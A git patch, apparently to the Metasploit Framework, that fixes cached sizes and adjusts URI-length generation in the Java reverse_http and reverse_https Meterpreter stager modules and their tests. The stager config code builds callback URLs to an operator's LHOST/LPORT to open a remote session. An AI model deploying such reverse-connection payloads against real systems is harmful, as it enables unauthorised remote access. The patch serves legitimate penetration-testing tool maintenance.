From 346b1d539f028cbf74ae9357e1c0a80b1544310f Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 18 Mar 2015 16:24:01 -0500 Subject: [PATCH] Revert Java back to static size for cache purposes (less cpu usage on startup) --- modules/payloads/stagers/java/reverse_http.rb | 12 ++++++++++-- modules/payloads/stagers/java/reverse_https.rb | 12 ++++++++++-- spec/modules/payloads_spec.rb | 4 ++-- 3 files changed, 22 insertions(+), 6 deletions(-) diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index 7c468c733efc..f14e1e8e17f2 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -8,7 +8,7 @@ module Metasploit3 - CachedSize = :dynamic + CachedSize = 5499 include Msf::Payload::Stager include Msf::Payload::Java @@ -40,13 +40,21 @@ def initialize(info = {}) end def config + # Default URL length is 30-256 bytes + uri_req_len = 30 + rand(256-30) + + # Generate the short default URL if we don't know available space + if self.available_space.nil? + uri_req_len = 5 + end + spawn = datastore["Spawn"] || 2 c = "" c << "Spawn=#{spawn}\n" c << "URL=http://#{datastore["LHOST"]}" c << ":#{datastore["LPORT"]}" if datastore["LPORT"] c << "/" - c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ,30+rand(256-30)) + c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len) c << "\n" c diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index d0522e2f7528..a7e2eb330157 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -8,7 +8,7 @@ module Metasploit3 - CachedSize = :dynamic + CachedSize = 6307 include Msf::Payload::Stager include Msf::Payload::Java @@ -42,13 +42,21 @@ def initialize(info = {}) end def config + # Default URL length is 30-256 bytes + uri_req_len = 30 + rand(256-30) + + # Generate the short default URL if we don't know available space + if self.available_space.nil? + uri_req_len = 5 + end + spawn = datastore["Spawn"] || 2 c = "" c << "Spawn=#{spawn}\n" c << "URL=https://#{datastore["LHOST"]}" c << ":#{datastore["LPORT"]}" if datastore["LPORT"] c << "/" - c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ,30+rand(256-30)) + c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len) c << "\n" c diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index b526651106d5..093b635fecd4 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -885,7 +885,7 @@ 'stagers/java/reverse_http', 'stages/java/meterpreter' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'java/meterpreter/reverse_http' end @@ -896,7 +896,7 @@ 'stagers/java/reverse_https', 'stages/java/meterpreter' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'java/meterpreter/reverse_https' end